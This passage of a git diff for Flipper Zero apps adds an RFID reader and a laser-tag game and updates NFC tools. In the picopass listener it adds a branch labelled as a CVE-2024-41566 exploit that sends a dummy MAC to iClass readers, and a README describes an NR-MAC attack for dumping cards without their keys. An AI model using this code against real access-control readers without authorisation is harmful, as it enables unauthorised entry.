lfrfid_worker_start_thread(reader->worker); + lfrfid_worker_read_start( + reader->worker, LFRFIDWorkerReadTypeASKOnly, lfrfid_cli_read_callback, reader); + while(true) { + uint32_t flags = furi_thread_flags_wait(LFRFIDReaderEventAll, FuriFlagWaitAny, 100); + + if(flags != (unsigned)FuriFlagErrorTimeout) { + if((flags & LFRFIDReaderEventTagRead) == LFRFIDReaderEventTagRead) { + furi_thread_flags_clear(LFRFIDReaderEventTagRead); + if(reader->protocol != PROTOCOL_NO) { + const char* protocol_name = + protocol_dict_get_name(reader->dict, reader->protocol); + if(strcmp(protocol_name, reader->requested_protocol) == 0) { + size_t size = protocol_dict_get_data_size(reader->dict, reader->protocol); + uint8_t* data = malloc(size); + protocol_dict_get_data(reader->dict, reader->protocol, data, size); + if(reader->callback) { + FURI_LOG_D(TAG, "Tag %s detected", protocol_name); + reader->callback(data, size, reader->callback_context); + } else { + FURI_LOG_W(TAG, "No callback set for tag %s", protocol_name); + } + free(data); + } else { + FURI_LOG_W(TAG, "Unsupported tag %s, expected EM4100", protocol_name); + } + } + reader->protocol = PROTOCOL_NO; + lfrfid_worker_read_start( + reader->worker, LFRFIDWorkerReadTypeASKOnly, lfrfid_cli_read_callback, reader); + } else if((flags & LFRFIDReaderEventStopThread) == LFRFIDReaderEventStopThread) { + break; + } + } + } + lfrfid_worker_stop(reader->worker); + lfrfid_worker_stop_thread(reader->worker); + FURI_LOG_D(TAG, "LfRfidReader thread exiting"); + return 0; +} + +void lfrfid_reader_start(LFRFIDReader* reader) { + reader->thread = + furi_thread_alloc_ex("lfrfid_reader", 2048, lfrfid_reader_start_thread, reader); + furi_thread_start(reader->thread); +} + +void lfrfid_reader_stop(LFRFIDReader* reader) { + if(reader->thread) { + furi_thread_flags_set(furi_thread_get_id(reader->thread), LFRFIDReaderEventStopThread); + furi_thread_join(reader->thread); + reader->thread = NULL; + } +} + +void lfrfid_reader_free(LFRFIDReader* reader) { + lfrfid_reader_stop(reader); + protocol_dict_free(reader->dict); + lfrfid_worker_free(reader->worker); + free(reader); +} diff --git a/laser_tag/lfrfid_reader.h b/laser_tag/lfrfid_reader.h new file mode 100644 index 00000000000..6f260eff684 --- /dev/null +++ b/laser_tag/lfrfid_reader.h @@ -0,0 +1,57 @@ +#pragma once + +/** +* @file lfrfid_reader.h +* @brief EM4100 tag reader, inspired by applications/main/lfrfid/lfrfid_cli.c +* @details This file contains the declaration of the LFRFIDReader structure and its functions. You typically allocate a new LFRFIDReader, set the tag detection callback, start the reader. The tag detection callback is called each time a tag is detected. Once you are done, you stop the reader and free it. +* @author CodeAllNight (MrDerekJamison) +*/ + +#include + +typedef struct LFRFIDReader LFRFIDReader; + +/** + * @brief Callback function for tag detection. + * @param data Tag data. + * @param length Tag data length. + * @param context Callback context. + */ +typedef void (*LFRFIDReaderTagCallback)(uint8_t* data, uint8_t length, void* context); + +/** + * @brief Allocates a new LFRFIDReader. + * @return LFRFIDReader* Pointer to the allocated LFRFIDReader. + */ +LFRFIDReader* lfrfid_reader_alloc(); + +/** + * @brief Sets the tag detection callback. + * @param reader LFRFIDReader to set the callback for. + * @param requested_protocol Requested protocol, e.g. "EM4100". + * @param callback Callback function. + * @param context Callback context. + */ +void lfrfid_reader_set_tag_callback( + LFRFIDReader* reader, + char* requested_protocol, + LFRFIDReaderTagCallback callback, + void* context); + +/** + * @brief Starts the LFRFIDReader. + * @param reader LFRFIDReader to start. + */ +void lfrfid_reader_start(LFRFIDReader* reader); + +/** + * @brief Stops the LFRFIDReader. + * @param reader LFRFIDReader to stop. + */ +void lfrfid_reader_stop(LFRFIDReader* reader); + +/** + * @brief Frees the LFRFIDReader. + * @param reader LFRFIDReader to free. + */ +void lfrfid_reader_free(LFRFIDReader* reader); diff --git a/laser_tag/manifest.yml b/laser_tag/manifest.yml new file mode 100644 index 00000000000..0a27e62f97b --- /dev/null +++ b/laser_tag/manifest.yml @@ -0,0 +1,20 @@ +author: '@RocketGod-git & @jamisonderek' +category: 'Games' +changelog: '@./docs/CHANGELOG.md' +description: '@./docs/README.md' +icon: 'icons/laser_tag_10px.png' +id: 'laser_tag' +name: 'Laser Tag' +screenshots: + - 'screenshots/Screenshot1.png' + - 'screenshots/Screenshot2.png' + - 'screenshots/Screenshot3.png' + - 'screenshots/Screenshot4.png' +short_description: 'Laser Tag game for Flipper Zero' +sourcecode: + location: + commit_sha: f9b4be203cb2e47636477dbbd6971c0b8ce9f7b6 + origin: https://github.com/RocketGod-git/Flipper-Zero-Laser-Tag.git + subdir: + type: git +version: 1.0 diff --git a/laser_tag/screenshots/Screenshot1.png b/laser_tag/screenshots/Screenshot1.png new file mode 100644 index 0000000000000000000000000000000000000000..fb3471b10b9a19ce787bc209b152f9b898bd5681 GIT binary patch literal 1470 zcmeAS@N?(olHy`uVBq!ia0y~yU;;8388|?c*QZDWAjMhW5n0T@z;^_M8K-LVNi#68 z7I?ZihE&XXd)Kk=iUos1AlKJIi~BN7pU+mh=}ZW?pfO2Ted>~b)vLuWguWE|kZN5P z_y6yokGu`@-iOCCFkBa4XwYC}=nx{4`epU1b>IKb@8_?#O_zA^uZMwQ5etKY7m$k6 z{`~cJ<$v32%na{NazMm@Qdw2J2`TsL`@b?Y{5D{MTPzjD95M6z{bXB)2T^Ve41r7x z0;)jj91~NA5keKJD}P!2<~?^qdqeHno11&ycr*Msi?HU^7t;pgGv^-9{?7ixUK#GW z6-%EpGJJ?ZvH@xlR_gM3W{JvU?>W*17-LQ&%+AW-O|X7nf91~KQ`z$hZQs}YRsS^e zz;i={J8#7@OU(Q{_pb1U+PQD9m(Pgbci5C+&tyRchbasUE}RSwSKdh-II-t{;P?0Q zH*QZjf2w-zo_}w?&-)msZ2vnj-InotItwHKfbKH=Ytt~b@_G5a`2CyO3_qo(J-^%^ zC2jF)Z`$|72n z$}=#WPeoGp+lJx!A?BL4yMN>I_wh00IYE-gE7MPZ?v>B`o&T2cfldA2`*jaX84463 zsc^;miI(3drn8+{C%I;g@R~LLQzBQ^jA!n>|9_|GoADQ?!5cXVx&gI_>+rB+JIDZrW0}btT zRmPa32;;Ldc@w_bd^i5aa;EP6x7zS^iQjzwPyAkW>ehi%&%b$AJ3e@cmU%5#hUI06jSB$i(TLsO9Ly!dMD-<8dKtF>z9(7)7~l!XUW`0PP8@Kq20{y?5xfJc)N!n zaI_drs*EFOfHvyK2<91ycM=+SI{;9z3&hL?=8Q zx7-w;Le4I@oLBjReBRr-$K3HC_X_l4X4G=;P%eHHwI#}?L9 zTpL%j7{|dYzWL?k5x2Sel4=$sAX2VRExyFBQwJ^#KVp}NKkIhn9fUmR`) zs2rNzpbLvY`~bfc@)z z_sJL9XaB=L?_|JaqZH$YUk9pe7I@||_$X0}M9B{iBqg-T?l z*)Kl+e)p#i4@0SMO$EUZ6J;7aEL+0$|M~;8Up59LZ&qDF+?doEQJnk_>|Ce_x^*M4Hh48YXS{LPmqZpxi+f_{O!SU4BTZL#9*9F^k=F+ZmO@aFLs%NRMWtwX|EX zii~OJP({zMyk;qh18a-V=yy!wlQol%(v?FR5<6<>-&JQtqo-CYRcw;7ut+j8F)~J=d(%C*<+Xp4dp` zMeGx4)N&@9_R9Qb#8N9Q@zBcMs+2Tu2o;=W|77>j7QsOOSx3RL6(7U@Oo;HQA05w3 zfvcsT_6NY+YkgSEt<`iY2cOOsDo_@2q*6St{{&dU%)(%2Eds&Y5;i!xSf$}hEp|*^xF%xnBh|_UT%&C_LHTJ9~ zu_>|I5KD&;O7L6Z!wKu_4cdmE%ZbnG6;eX$d0|oCT8`nhMhk|?K02(XR2wqwpmZCL zd;dYg4TufWgC&jlgz) z5Syr?cLXIgt8}M(l&3H_e?BcNk$5OA`nmIvN#_6^shP>GxYwl^di|V7F}uJykBJcN zYnnw#!AQvb_^N!b8cjz4B(gTS566QdC^yVy(Ydm(_fAdVJ50LmkV)fd*Y*N(nX{y2 z&@WdW-+YWDW^|_X!%-FAtLCT`F@`o+YZO->$ssrbX>0pR@&8semlfysBDFwV;& M_C)Sxhot=UFOb?-KL7v# literal 0 HcmV?d00001 diff --git a/laser_tag/screenshots/Screenshot3.png b/laser_tag/screenshots/Screenshot3.png new file mode 100644 index 0000000000000000000000000000000000000000..6398af4ece0602284c26300fe09b1bff968b330a GIT binary patch literal 1781 zcma)7drXs89KEGN1pyy(iZZ~2Fma^w!5AWz$5K~72PkHMJc^){(FwSUKp%o`I&h?k zTd9umn$IewbapLB*M}2IG9C>PzCuM17}iosZLt*Sq$^8CKQ=Y~@#TKG_vZZ0{hf2q zEsKrDxj1ch0sy!~Mqm#CU}ybBfR&3wlp%44b#Tm!NF)K^+Pe55D*RmC0dTk#i48wo zSfzb@kp5HD`h7j87$e81o3OIWdhA@58gsRD!$)a%`iV5Y&#ePHW?57GdNCDY1p}bw z*@?L)Cb_P_0|mA}H?}ugEMom`(0mDi(sckFv;$kB0Khte5?=&Z;{(9e6(Ef9%0;7g z3OQRoPKJ`$S`xRQioa7K8xTrb4; z6va2&8tq$EonLjEpn0Q1!mj@S?GevEy~jStd(70F(2+R(C_84Stt*u`QQYevzx>5p z(_QaTtEn)*;D~fnYoRNMr5*-+wmNNp3Z+Bxc$B>p=ccMqX(Ow=oM0g2q>$K$D+&b? z^4UO76bO6^9sbc0JPDsffi>x&09Zw;c%?{hRPeQntX$lJUg0HKFq^GjxmC_n81ixM zs9D93nW(K%8s>Q8e0sTLe9pVL26ohZ7Ao&NFFVyLc>Vh;sgn^WUUF2r0E4P*lg&gA zi~ywG9+dmT8r|$Ey~GdZxS^W6Q%q{5#xpT4>(fk|9bFVix1;DSvOvRT&6iDroP|DJ z&yaCmJ`qfZ3pzpu+@}{YEF)5OGCs7f6Q=b;GN4G16sXdD;%oWoedvUSA}Vg^nxA;g zau`-fg!W<(kCtcTc9|~nlLuGr?KA8Nv=RN|NZ0{&L~R(&Yv@Ot!Z%RTYb@h~(=Z%0 zVuy&|Vi^+o)WHb)V!#E#=k54Zku>IIlIlaqgLI(Z%~La3%wv>_fN7NWyaWc21?O8h3$WA3=8c9|f2Mh98XC*`2) z6w74~Yj7>xn6EmSfGZWkj1-W(I&A~5mp}-LUa(f~TVA>Q2tJFctRIft`zX%j)|~Fa z6=mcMXv~}p;W?PmaywA|kV{9VI`TQ0;{yHF_ox}3bY;Vc&S=bK5!<_U!!qTZu{37A z+J$?}b{dAKv?~+;pqfxP;fbWeeC3NN*{H`5Gk+D}rj(>B-@(c^838m=#^c^}3LvCR z$B0Y>7+~)s!~Gw!lj8di2~W9>RGW_<=rF;A@+Bf@-z$BnleZa`6TV!-#JvChX4Qo literal 0 HcmV?d00001 diff --git a/laser_tag/screenshots/Screenshot4.png b/laser_tag/screenshots/Screenshot4.png new file mode 100644 index 0000000000000000000000000000000000000000..145037823dd9d32b44d8451d5add6a015775464e GIT binary patch literal 1496 zcmeAS@N?(olHy`uVBq!ia0y~yU;;8388|?c*QZDWAjMhW5n0T@z;^_M8K-LVNi#68 zc6quuhE&XXd)G1VwgrR3MXM8qMf+rwo}aF4iWJdc5pi0on0oo&`?b3!L>_hg?HIHy z-#%V`Kf{a4>My(uA0(I<1XLLq0`XDrmG$d>|M_=+eJR_;`{(w}uYUiqOy<4uhT}X8 z3SJBhi&z*GvNHG&NPQ{o+mnAUJ)uRC!C?vmg9|5v!<7qi2SmTkYqj64wlCfK+?v<( zQ}v&m_&aBBT6XJvL5p)pCUn|1Ox*f%qUr0kk=c)KXS-cH;{NU@*XD2h4W%;}!G?j% z)ZNIw!Ss_X^ZJyhn;ZW0JupR<+s^*M>wN$ISH&OKf7$FX6UiAu)eOq%@8;Xy|35Fx znmgmkUa6n5jM+xa3>`uY4H}FL9lIj8vt}Uip~5tzs^lv_-hTdlzWx82TA%&@vfSUL zUo&M`ZHRCas^wC@WDbaKJAWmA?%z2F=S?g;SEu&i#QoRCEcMo(s$0@Ge%haH4Dkz4 z--=A2hhJ|~e*U&+&FS}+*8lEhe}9))efHGr<^$Qr2rFi7V>fthS$n>L`A$1ha22I9 zUY*xnE++6nBMp%_yx%asnY(v$`PrM-*PYpAk0NKDePPWr$?ru8=TH4VJ_`|Fz%&3& z3Zzj#{Sq295dHy05o&NCcq_g~GViUe`~O+$IUnPi!$?UggFj*SyZV&c|8KrB#2}~E zThAHX=KSS3c<*cVZ?5qE`X}$Lit@j?)>(i0-Gm;JyXUc%961s7b7J;7iTWp7wb%1A ztv`!o$t}49CyYNa+?kIQenRPtQ!TkUDnyWcP|YCRQ!~AxwEjWh8Azr9<(<513nF`s z7gwli|Ci5ZBb*oU-O2bGdp+naeVE3 zhH#`LCUuMX#=7SDvF7*V?6c>j@Aq%0M#^WizF9Wdy3dETe>^Rx90rK_ZMX)pLcz9KgY4jpJB~06paiF=Z_);h!3|{_JIm{J{%IimjH`u N22WQ%mvv4FO#tiA;aUIy literal 0 HcmV?d00001 diff --git a/nfc_playlist/nfc_playlist.h b/nfc_playlist/nfc_playlist.h index afc566fc86f..f013bfebd53 100644 --- a/nfc_playlist/nfc_playlist.h +++ b/nfc_playlist/nfc_playlist.h @@ -71,7 +71,7 @@ typedef struct { static const int options_emulate_timeout[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}; static const int default_emulate_timeout = 4; -static const int options_emulate_delay[] = {0, 1, 2, 3, 4, 5, 6}; +static const int options_emulate_delay[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12}; static const int default_emulate_delay = 0; static const bool default_emulate_led_indicator = true; static const bool default_skip_error = false; diff --git a/picopass/.catalog/README.md b/picopass/.catalog/README.md index c52b8ce8d83..7ee9c836de5 100644 --- a/picopass/.catalog/README.md +++ b/picopass/.catalog/README.md @@ -34,7 +34,7 @@ There are some situations when the offline loclass may not find a key, such as: # NR-MAC Attack -Due to the nature of how secure mode picopass works, it is possible to emulate some public fields from a card and capture the reader's response, which can be used to authenticate. Two of the pieces involved in this are the `NR` and `MAC`. This allows you to get a dump of the card, except for the key, even if you don't know the key. For picopass in non-HID systems this can allow you to see what the data looks like. For iClass SE the data (SIO) is encrypted, but a friend with a HID SAM can decrypt it. +Due to the nature of how secure mode picopass works, it is possible to emulate some public fields from a card and capture the reader's response, which can be used to authenticate. Two of the pieces involved in this are the 'NR' and 'MAC'. This allows you to get a dump of the card, except for the key, even if you don't know the key. For picopass in non-HID systems this can allow you to see what the data looks like. For iClass SE the data (SIO) is encrypted, but a friend with a HID SAM can decrypt it. *These instructions are intended to be performed all at the same time. If you use the card with the reader between Card Part 1 and Card Part 2, then Card Part 2 will fail.* diff --git a/picopass/.catalog/changelog.md b/picopass/.catalog/changelog.md index 4e373bb526a..c30cc87e3af 100644 --- a/picopass/.catalog/changelog.md +++ b/picopass/.catalog/changelog.md @@ -1,3 +1,5 @@ +## 1.17 + - CVE-2024-41566: When keys are unknown emulate with a dummy MAC and ignore reader MACs ## 1.16 - Acknowledgements page - Elite VB6 RNG keygen attack diff --git a/picopass/application.fam b/picopass/application.fam index c471069760e..4319779c7cd 100644 --- a/picopass/application.fam +++ b/picopass/application.fam @@ -14,7 +14,7 @@ App( ], stack_size=4 * 1024, fap_description="App to communicate with NFC tags using the PicoPass(iClass) format", - fap_version="1.16", + fap_version="1.17", fap_icon="125_10px.png", fap_category="NFC", fap_libs=["mbedtls"], diff --git a/picopass/picopass_device.c b/picopass/picopass_device.c index 42b5012c0bc..6a67691a16a 100644 --- a/picopass/picopass_device.c +++ b/picopass/picopass_device.c @@ -20,17 +20,7 @@ const char unknown_block[] = "?? ?? ?? ?? ?? ?? ?? ??"; PicopassDevice* picopass_device_alloc() { PicopassDevice* picopass_dev = malloc(sizeof(PicopassDevice)); - picopass_dev->dev_data.auth = PicopassDeviceAuthMethodUnset; - picopass_dev->dev_data.pacs.legacy = false; - picopass_dev->dev_data.pacs.se_enabled = false; - picopass_dev->dev_data.pacs.sio = false; - picopass_dev->dev_data.pacs.biometrics = false; - memset(picopass_dev->dev_data.pacs.key, 0, sizeof(picopass_dev->dev_data.pacs.key)); - picopass_dev->dev_data.pacs.elite_kdf = false; - picopass_dev->dev_data.pacs.pin_length = 0; - picopass_dev->dev_data.pacs.bitLength = 0; - memset( - picopass_dev->dev_data.pacs.credential, 0, sizeof(picopass_dev->dev_data.pacs.credential)); + memset(picopass_dev, 0, sizeof(PicopassDevice)); picopass_dev->storage = furi_record_open(RECORD_STORAGE); picopass_dev->dialogs = furi_record_open(RECORD_DIALOGS); picopass_dev->load_path = furi_string_alloc(); @@ -176,12 +166,6 @@ static bool picopass_device_save_file( FuriString* temp_str; temp_str = furi_string_alloc(); - if(dev->format == PicopassDeviceSaveFormatPartial) { - // Clear key that may have been set when doing key tests for legacy - memset(card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data, 0, PICOPASS_BLOCK_LEN); - card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].valid = false; - } - do { if(use_load_path && !furi_string_empty(dev->load_path)) { // Get directory name diff --git a/picopass/protocol/picopass_listener.c b/picopass/protocol/picopass_listener.c index 1a91a9c681c..b9cd0c6e1f7 100644 --- a/picopass/protocol/picopass_listener.c +++ b/picopass/protocol/picopass_listener.c @@ -375,20 +375,20 @@ PicopassListenerCommand PICOPASS_FUSE_CRYPT10) != PICOPASS_FUSE_CRYPT0; if(!secured) break; - uint8_t rmac[4] = {}; - uint8_t tmac[4] = {}; const uint8_t* key = instance->data->card_data[instance->key_block_num].data; - bool no_key = !instance->data->card_data[instance->key_block_num].valid; + bool have_key = instance->data->card_data[instance->key_block_num].valid; + bool no_data = !instance->data->card_data[PICOPASS_ICLASS_PACS_CFG_BLOCK_INDEX].valid; const uint8_t* rx_data = bit_buffer_get_data(buf); - if(no_key) { - // We're emulating a partial dump of an iClass SE card and should capture the NR and MAC + if(no_data) { + // We're missing at least the first data block, save MACs for NR-MAC replay. command = picopass_listener_save_mac(instance, rx_data); break; - } else { + } else if(have_key) { + uint8_t rmac[4] = {}; + uint8_t tmac[4] = {}; loclass_opt_doBothMAC_2(instance->cipher_state, &rx_data[1], rmac, tmac, key); -#ifndef PICOPASS_DEBUG_IGNORE_BAD_RMAC if(memcmp(&rx_data[5], rmac, PICOPASS_MAC_LEN)) { // Bad MAC from reader, do not send a response. FURI_LOG_I(TAG, "Got bad MAC from reader"); @@ -396,7 +396,6 @@ PicopassListenerCommand picopass_listener_init_cipher_state(instance); break; } -#endif bit_buffer_copy_bytes(instance->tx_buffer, tmac, sizeof(tmac)); NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer); @@ -404,6 +403,18 @@ PicopassListenerCommand FURI_LOG_D(TAG, "Failed tx update response: %d", error); break; } + } else { + // CVE-2024-41566 Exploit: The dump has no key, ignore the reader mac + // and a dummy response to see if the reader accepts it anyway + bit_buffer_reset(instance->tx_buffer); + for(size_t j = 0; j < 4; j++) { + bit_buffer_append_byte(instance->tx_buffer, 0xff); + } + NfcError error = nfc_listener_tx(instance->nfc, instance->tx_buffer); + if(error != NfcErrorNone) { + FURI_LOG_D(TAG, "Failed tx update response: %d", error); + break; + } } command = PicopassListenerCommandProcessed; diff --git a/picopass/protocol/picopass_poller.c b/picopass/protocol/picopass_poller.c index 0e599c65838..97cdf4f1a42 100644 --- a/picopass/protocol/picopass_poller.c +++ b/picopass/protocol/picopass_poller.c @@ -313,15 +313,6 @@ NfcCommand picopass_poller_nr_mac_auth(PicopassPoller* instance) { if(instance->mode == PicopassPollerModeRead) { picopass_poller_prepare_read(instance); instance->state = PicopassPollerStateReadBlock; - // Set to non-zero keys to allow emulation - memset( - instance->data->card_data[PICOPASS_SECURE_KD_BLOCK_INDEX].data, - 0xff, - PICOPASS_BLOCK_LEN); - memset( - instance->data->card_data[PICOPASS_SECURE_KC_BLOCK_INDEX].data, - 0xff, - PICOPASS_BLOCK_LEN); } } @@ -431,9 +422,12 @@ NfcCommand picopass_poller_read_block_handler(PicopassPoller* instance) { break; } - if(instance->secured && instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX) { - // Skip over Kd block which is populated earlier (READ of Kd returns all FF's) + if(instance->secured && (instance->current_block == PICOPASS_SECURE_KD_BLOCK_INDEX || + instance->current_block == PICOPASS_SECURE_KC_BLOCK_INDEX)) { + // Kd and Kc blocks cannot be read (card always returns FF's) + // Key blocks we authed as would have been already set earlier instance->current_block++; + continue; } PicopassBlock block = {}; diff --git a/seader/application.fam b/seader/application.fam index 1eb08c91409..b18137996e9 100644 --- a/seader/application.fam +++ b/seader/application.fam @@ -20,7 +20,7 @@ App( ], fap_icon="icons/logo.png", fap_category="NFC", - fap_version="3.0", + fap_version="3.1", fap_author="bettse", # fap_extbuild=( # ExtFile( diff --git a/seader/scenes/seader_scene_card_menu.c b/seader/scenes/seader_scene_card_menu.c index f10c3bde554..594e58d7d7d 100644 --- a/seader/scenes/seader_scene_card_menu.c +++ b/seader/scenes/seader_scene_card_menu.c @@ -1,7 +1,6 @@ #include "../seader_i.h" enum SubmenuIndex { - SubmenuIndexParse, SubmenuIndexSave, SubmenuIndexSavePicopass, SubmenuIndexSaveRFID, @@ -18,21 +17,8 @@ void seader_scene_card_menu_submenu_callback(void* context, uint32_t index) { void seader_scene_card_menu_on_enter(void* context) { Seader* seader = context; SeaderCredential* credential = seader->credential; - PluginWiegand* plugin = seader->plugin_wiegand; Submenu* submenu = seader->submenu; - if(plugin) { - size_t format_count = plugin->count(credential->bit_length, credential->credential); - if(format_count > 0) { - submenu_add_item( - submenu, - "Parse", - SubmenuIndexParse, - seader_scene_card_menu_submenu_callback, - seader); - } - } - submenu_add_item( submenu, "Save", SubmenuIndexSave, seader_scene_card_menu_submenu_callback, seader); submenu_add_item( @@ -73,6 +59,7 @@ bool seader_scene_card_menu_on_event(void* context, SceneManagerEvent event) { if(event.event == SubmenuIndexSave) { scene_manager_set_scene_state( seader->scene_manager, SeaderSceneCardMenu, SubmenuIndexSave); + seader->credential->save_format = SeaderCredentialSaveFormatAgnostic; scene_manager_next_scene(seader->scene_manager, SeaderSceneSaveName); consumed = true; } else if(event.event == SubmenuIndexSavePicopass) { @@ -99,11 +86,6 @@ bool seader_scene_card_menu_on_event(void* context, SceneManagerEvent event) { seader->credential->save_format = SeaderCredentialSaveFormatMFC; scene_manager_next_scene(seader->scene_manager, SeaderSceneSaveName); consumed = true; - } else if(event.event == SubmenuIndexParse) { - scene_manager_set_scene_state( - seader->scene_manager, SeaderSceneCardMenu, SubmenuIndexParse); - scene_manager_next_scene(seader->scene_manager, SeaderSceneFormats); - consumed = true; } } else if(event.type == SceneManagerEventTypeBack) { consumed = scene_manager_search_and_switch_to_previous_scene( diff --git a/seader/scenes/seader_scene_read_card_success.c b/seader/scenes/seader_scene_read_card_success.c index 0cb59c0745f..bb1cec08476 100644 --- a/seader/scenes/seader_scene_read_card_success.c +++ b/seader/scenes/seader_scene_read_card_success.c @@ -16,6 +16,7 @@ void seader_scene_read_card_success_widget_callback( void seader_scene_read_card_success_on_enter(void* context) { Seader* seader = context; SeaderCredential* credential = seader->credential; + PluginWiegand* plugin = seader->plugin_wiegand; Widget* widget = seader->widget; FuriString* type_str = furi_string_alloc(); @@ -58,6 +59,18 @@ void seader_scene_read_card_success_on_enter(void* context) { widget_add_button_element( widget, GuiButtonTypeRight, "More", seader_scene_read_card_success_widget_callback, seader); + if(plugin) { + size_t format_count = plugin->count(credential->bit_length, credential->credential); + if(format_count > 0) { + widget_add_button_element( + seader->widget, + GuiButtonTypeCenter, + "Parse", + seader_scene_read_card_success_widget_callback, + seader); + } + } + widget_add_string_element( widget, 64, 5, AlignCenter, AlignCenter, FontPrimary, furi_string_get_cstr(type_str)); widget_add_string_element( @@ -100,6 +113,9 @@ bool seader_scene_read_card_success_on_event(void* context, SceneManagerEvent ev } else if(event.event == GuiButtonTypeRight) { scene_manager_next_scene(seader->scene_manager, SeaderSceneCardMenu); consumed = true; + } else if(event.event == GuiButtonTypeCenter) { + scene_manager_next_scene(seader->scene_manager, SeaderSceneFormats); + consumed = true; } } else if(event.type == SceneManagerEventTypeBack) { scene_manager_search_and_switch_to_previous_scene( diff --git a/seader/seader_credential.c b/seader/seader_credential.c index 9aa42a362c9..bfc33ca85b0 100644 --- a/seader/seader_credential.c +++ b/seader/seader_credential.c @@ -14,6 +14,7 @@ static const char* seader_file_header = "Flipper Seader Credential"; static const uint32_t seader_file_version = 1; +extern const uint8_t picopass_iclass_key[]; SeaderCredential* seader_credential_alloc() { SeaderCredential* seader_dev = malloc(sizeof(SeaderCredential)); @@ -199,7 +200,6 @@ bool seader_credential_save_mfc(SeaderCredential* cred, const char* name) { uint8_t empty_block[16] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; uint8_t pacs_block[16] = {0x02, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - bool use_load_path = true; bool saved = false; FlipperFormat* file = flipper_format_file_alloc(cred->storage); FuriString* temp_str; @@ -210,15 +210,8 @@ bool seader_credential_save_mfc(SeaderCredential* cred, const char* name) { memcpy(pacs_block + 8, &swapped, sizeof(swapped)); do { - if(use_load_path && !furi_string_empty(cred->load_path)) { - // Get directory name - path_extract_dirname(furi_string_get_cstr(cred->load_path), temp_str); - // Make path to file to save - furi_string_cat_printf(temp_str, "/%s%s", name, SEADER_APP_MFC_EXTENSION); - } else { - furi_string_printf( - temp_str, "%s/%s%s", SEADER_APP_MFC_FOLDER, name, SEADER_APP_MFC_EXTENSION); - } + furi_string_printf( + temp_str, "%s/%s%s", SEADER_APP_MFC_FOLDER, name, SEADER_APP_MFC_EXTENSION); FURI_LOG_D(TAG, "Save as MFC [%s]", furi_string_get_cstr(temp_str)); @@ -356,6 +349,9 @@ bool seader_credential_save_agnostic(SeaderCredential* cred, const char* name) { furi_string_printf( temp_str, "%s/%s%s", STORAGE_APP_DATA_PATH_PREFIX, name, SEADER_APP_EXTENSION); } + + FURI_LOG_D(TAG, "Save as Seader [%s]", furi_string_get_cstr(temp_str)); + // Open file if(!flipper_format_file_open_always(file, furi_string_get_cstr(temp_str))) break; @@ -393,21 +389,17 @@ bool seader_credential_save_picopass(SeaderCredential* cred, const char* name) { uint8_t aia[PICOPASS_BLOCK_LEN] = {0xFF, 0xff, 0xff, 0xff, 0xFF, 0xFf, 0xff, 0xFF}; uint8_t pacs_cfg[PICOPASS_BLOCK_LEN] = {0x03, 0x03, 0x03, 0x03, 0x00, 0x03, 0xe0, 0x14}; - bool use_load_path = true; bool saved = false; bool withSIO = cred->save_format == SeaderCredentialSaveFormatSR; + if(withSIO) { + loclass_iclass_calc_div_key(cred->diversifier, picopass_iclass_key, debit_key, false); + } + FlipperFormat* file = flipper_format_file_alloc(cred->storage); FuriString* temp_str = furi_string_alloc(); storage_simply_mkdir(cred->storage, EXT_PATH("apps_data/picopass")); - if(use_load_path && !furi_string_empty(cred->load_path)) { - // Get directory name - path_extract_dirname(furi_string_get_cstr(cred->load_path), temp_str); - // Make path to file to save - furi_string_cat_printf(temp_str, "/%s%s", name, ".picopass"); - } else { - furi_string_printf(temp_str, "%s/%s%s", EXT_PATH("apps_data/picopass"), name, ".picopass"); - } + furi_string_printf(temp_str, "%s/%s%s", EXT_PATH("apps_data/picopass"), name, ".picopass"); FURI_LOG_D(TAG, "Save as Picopass [%s]", furi_string_get_cstr(temp_str)); uint64_t sentinel = 1ULL << cred->bit_length; @@ -531,7 +523,7 @@ bool seader_credential_save_picopass(SeaderCredential* cred, const char* name) { bool seader_credential_save_rfid(SeaderCredential* cred, const char* name) { bool result = false; FuriString* file_path = furi_string_alloc(); - furi_string_printf(file_path, "%s/%s%s", ANY_PATH("lfrfid"), name, ".rfid"); + furi_string_printf(file_path, "%s/%s%s", EXT_PATH("lfrfid"), name, ".rfid"); ProtocolDict* dict = protocol_dict_alloc(lfrfid_protocols, LFRFIDProtocolMax); ProtocolId protocol = LFRFIDProtocolHidGeneric; diff --git a/seader/seader_credential.h b/seader/seader_credential.h index b72e3ba55c2..e2e530d7670 100644 --- a/seader/seader_credential.h +++ b/seader/seader_credential.h @@ -5,11 +5,13 @@ #include #include #include "protocol/picopass_protocol.h" +#include +#include #define SEADER_CRED_NAME_MAX_LEN 22 #define SEADER_APP_EXTENSION ".credential" #define SEADER_APP_MFC_EXTENSION ".nfc" -#define SEADER_APP_MFC_FOLDER ANY_PATH("nfc") +#define SEADER_APP_MFC_FOLDER EXT_PATH("nfc") typedef void (*SeaderLoadingCallback)(void* context, bool state); diff --git a/seader/web/.gitignore b/seader/web/.gitignore deleted file mode 100644 index bbb2a84c809..00000000000 --- a/seader/web/.gitignore +++ /dev/null @@ -1,7 +0,0 @@ -_site -.sass-cache -.jekyll-cache -.jekyll-metadata -vendor -seader.fap -assets diff --git a/seader/web/.well-known/traffic-advice b/seader/web/.well-known/traffic-advice deleted file mode 100644 index 1c5f15daef9..00000000000 --- a/seader/web/.well-known/traffic-advice +++ /dev/null @@ -1,6 +0,0 @@ -[{ - "user_agent": "prefetch-proxy", - "google_prefetch_proxy_eap": { - "fraction": 1.0 - } -}] diff --git a/seader/web/404.html b/seader/web/404.html deleted file mode 100644 index 086a5c9ea98..00000000000 --- a/seader/web/404.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -permalink: /404.html -layout: default ---- - - - -
-

404

- -

Page not found :(

-

The requested page could not be found.

-
